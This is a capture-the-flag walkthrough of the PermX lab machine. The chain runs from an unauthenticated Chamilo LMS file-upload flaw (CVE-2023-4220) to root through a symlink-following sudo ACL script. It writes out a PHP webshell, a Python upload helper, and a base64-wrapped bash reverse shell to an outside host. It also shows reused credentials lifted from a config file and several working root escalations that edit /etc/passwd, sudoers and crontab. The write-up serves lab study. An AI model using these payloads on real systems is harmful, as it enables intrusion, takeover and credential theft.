Overview#
Chamilo LMS 1.11.24, Ubuntu 22.04. Release: 2024-07-06. Retire: 2024-11-02. IP:
10.10.10.x.
Chain: unauthenticated file upload to RCE (CVE-2023-4220), a reused Chamilo database
password for the mtz system account, then a symlink-following sudo ACL script for
root.
Reconnaissance#
Port scan#
1
2
| nmap -p- --min-rate 10000 10.10.10.x
nmap -p 22,80 -sCV 10.10.10.x
|
Open ports:
22/tcp: OpenSSH 8.9p1 (Ubuntu 22.04 jammy)80/tcp: Apache 2.4.52, redirects to http://permx.htb
Subdomain fuzzing#
The server routes HTTP requests by the Host header, so fuzz subdomains:
1
2
| ffuf -u http://10.10.10.x -H "Host: FUZZ.permx.htb" \
-w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
|
Found subdomains:
www.permx.htb: a static marketing page (HTML)lms.permx.htb: a Chamilo LMS instance
1
| 10.10.10.x permx.htb www.permx.htb lms.permx.htb
|
Identifying the Chamilo version#
1
2
| http://lms.permx.htb/README.md -> Chamilo 1.11.x
http://lms.permx.htb/documentation/changelog.html -> version 1.11.24
|
Initial Access#
CVE-2023-4220, unauthenticated RCE in Chamilo LMS#
CVE-2023-4220: unauthenticated remote code execution in Chamilo LMS <= 1.11.24. Type:
unrestricted file upload (no extension validation). CVSS 8.1 (High).
Precondition: the directory /main/inc/lib/javascript/bigupload/files/ must exist and be
writable.
Upload endpoint:
1
| POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported
|
Parameter: bigUploadFile (multipart/form-data), no extension check.
Step by step:
1
2
| # 1. check the directory exists
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/
|
1
2
3
| # 2. upload a webshell
curl -F '[email protected]' \
'http://lms.permx.htb/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
|
ghost.php:
1
| <?php system($_REQUEST['cmd']); ?>
|
1
2
3
| # 3. verify RCE
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/ghost.php?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
1
2
3
| # 4. reverse shell
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.x/443 0>&1"' | base64 -w0
curl 'http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/ghost.php?cmd=echo+<BASE64>|base64+-d|bash'
|
1
2
3
4
5
6
| # 5. TTY upgrade
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
reset
# Terminal type? screen
|
Python helper:
1
2
3
4
5
6
7
8
9
10
| import requests
from urllib.parse import urljoin
def upload_shell(target_url, payload_name='rce.php'):
upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported")
files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
r = requests.post(upload_url, files=files)
shell_url = urljoin(target_url, f"main/inc/lib/javascript/bigupload/files/{payload_name}")
print(f"[+] Shell: {shell_url}?cmd=id")
return shell_url
|
Lateral Movement#
www-data to mtz, credential reuse#
The Chamilo configuration file contains database credentials:
1
| /var/www/chamilo/app/config/configuration.php
|
1
2
3
| $_configuration['db_host'] = 'localhost';
$_configuration['db_user'] = 'chamilo';
$_configuration['db_password'] = '03F6lY3uXAP2bkW8';
|
The database password is reused as the system password for mtz:
1
2
3
| su mtz # password: 03F6lY3uXAP2bkW8
# or
ssh [email protected] # password: 03F6lY3uXAP2bkW8
|
1
2
| cat /home/mtz/user.txt
# [REDACTED_USER_FLAG]
|
Privilege Escalation#
FACL / acl.sh#
1
2
| sudo -l
# (ALL : ALL) NOPASSWD: /opt/acl.sh
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| #!/bin/bash
if [ "$#" -ne 3 ]; then
/usr/bin/echo "Usage: $0 user perm file"
exit 1
fi
user="$1"
perm="$2"
target="$3"
# path validation: only /home/mtz/* and no ..
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
/usr/bin/echo "Access denied."
exit 1
fi
# checks that the target is a file (note: -f follows symlinks)
if [ ! -f "$target" ]; then
/usr/bin/echo "Target must be a file."
exit 1
fi
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"
|
Key vulnerability: the -f flag in test/[ follows symlinks. If $target is a symlink
to a system file, the script treats it as a file and grants permissions on the target
system file. The *..* check blocks path traversal (../../etc/passwd) but does not
block symlinks.
Exploitation methods#
Method 1, direct read of root.txt (fails):
1
2
3
4
| ln -s /root/root.txt /home/mtz/root.txt
sudo /opt/acl.sh mtz rwx /home/mtz/root.txt
cat /home/mtz/root.txt
# cat: root.txt: Permission denied
|
The ACL on the file is set correctly, but /root/ has drwx------ (only root can enter).
Linux checks every path component; without x on /root/ access is blocked before the
file’s own permissions are even checked. File permissions do not help if you lack x on
the parent directory.
Method 2, write to /etc/passwd:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 1. generate a password hash
openssl passwd -1 newpassword
# result e.g. $1$xyz$hashhash...
# 2. create the symlink
ln -s /etc/passwd /home/mtz/passwd
# 3. grant write via acl.sh
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
# 4. append a new UID 0 user
echo 'hacker:$1$xyz$hashhash...:0:0:pwned:/root:/bin/bash' >> /etc/passwd
# 5. switch to the new user
su hacker
# password: newpassword
# root@permx:/home/mtz#
|
/etc/passwd line structure: name:password_hash:UID:GID:description:home:shell.
UID 0 and GID 0 give root privileges regardless of the account name.
openssl passwd -1 is MD5-crypt, -6 is SHA-512.
Method 3, modify /etc/sudoers:
1
2
3
4
| ln -s /etc/sudoers /home/mtz/sudoers
sudo /opt/acl.sh mtz rwx /home/mtz/sudoers
echo 'mtz ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
sudo -i
|
A sudoers syntax error can lock sudo for everyone; visudo is safer.
Method 4, modify /etc/crontab:
1
2
3
| ln -s /etc/crontab /home/mtz/crontab
sudo /opt/acl.sh mtz rwx /home/mtz/crontab
echo "* * * * * root chmod 6777 /bin/bash" >> /etc/crontab
|
cron rejects /etc/crontab if it is group/other writable:
1
| (*system*) INSECURE MODE (group/other writable) (/etc/crontab)
|
Remove mtz’s write permission after editing:
1
| sudo /opt/acl.sh mtz - /home/mtz/crontab
|
After a minute:
1
2
3
4
5
| ls -l /bin/bash
# -rwsrwsrwx 1 root root ... /bin/bash
/bin/bash -p # -p keeps root's EUID
# whoami -> root
|
Method 5, modify a SetUID binary (fails):
1
2
3
4
5
| ln -s /usr/bin/newgrp /home/mtz/newgrp
sudo /opt/acl.sh mtz rwx /home/mtz/newgrp
echo " " >> /usr/bin/newgrp
ls -l /usr/bin/newgrp
# -rwxrwxr-x+ ... (no 's'!)
|
Linux automatically strips the SetUID bit from a file when it is modified by a non-root
user, a deliberate kernel security mechanism.
Linux ACL theory#
Standard permissions (ls -l) use owner:group:other. Extended ACLs allow granular
control for specific users/groups.
1
2
3
4
5
| getfacl file.txt
setfacl -m u:username:rwx file.txt
setfacl -m u:username:- file.txt
# a file with an ACL shows '+' in ls -l:
# -rw-rw-r--+ 1 owner group file.txt
|
[ -f ] and symlinks:
1
2
3
| ln -s /etc/passwd link_to_passwd
[ -f link_to_passwd ] && echo "is a file" # -> "is a file"
[ -L link_to_passwd ] && echo "is a symlink" # -> "is a symlink"
|
-f: is the target (after resolving the symlink) a regular file-L: is the path a symlink-d: is the target a directory
Detection and Mitigation#
| # | Lesson | Category |
|---|
| 1 | Check publicly readable files (README, changelog) for version identification | Recon |
| 2 | Fuzz subdomains on virtual hosts; the main domain may not reveal everything | Recon |
| 3 | Unauthenticated file upload without extension validation is RCE | Web |
| 4 | Credentials in application config files are often reused for system accounts | Lateral Movement |
| 5 | A sudo script using -f on a symlink bypasses path restrictions | PrivEsc |
| 6 | Writing a UID 0 user to /etc/passwd is a reliable escalation | PrivEsc |
| 7 | cron ignores /etc/crontab when it is group/other writable | Linux internals |
| 8 | The Linux kernel strips SUID after a write by a non-root user | Linux internals |
Lessons Learned#
- Identify software versions from publicly readable files before searching for exploits.
- On virtual hosts, fuzz subdomains; the primary vhost may hide the real application.
- Unauthenticated upload without extension validation equals RCE.
- Config-file credentials are frequently reused for system accounts.
test -f follows symlinks; a sudo script that relies on it can be pointed at any system
file.- File permissions do not matter if you lack
x on a parent directory.
Command Reference#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| # version identification
curl http://lms.TARGET/README.md
curl http://lms.TARGET/documentation/changelog.html
# webshell upload (CVE-2023-4220)
curl -F '[email protected]' \
'http://lms.TARGET/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
# password hashes
openssl passwd -1 PASSWORD # MD5
openssl passwd -6 PASSWORD # SHA-512
# ACL
getfacl /etc/passwd
setfacl -m u:user:rwx file
setfacl -m u:user:- file
# symlink + sudo FACL exploit
ln -s /etc/passwd /home/mtz/passwd
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
echo 'hacker:HASH:0:0::/root:/bin/bash' >> /etc/passwd
su hacker
# SUID bash (after the cron exploit)
/bin/bash -p
# find SetUID binaries
find / -perm -4000 2>/dev/null
|
Based on public PermX write-ups and Exploit-DB EDB-52083.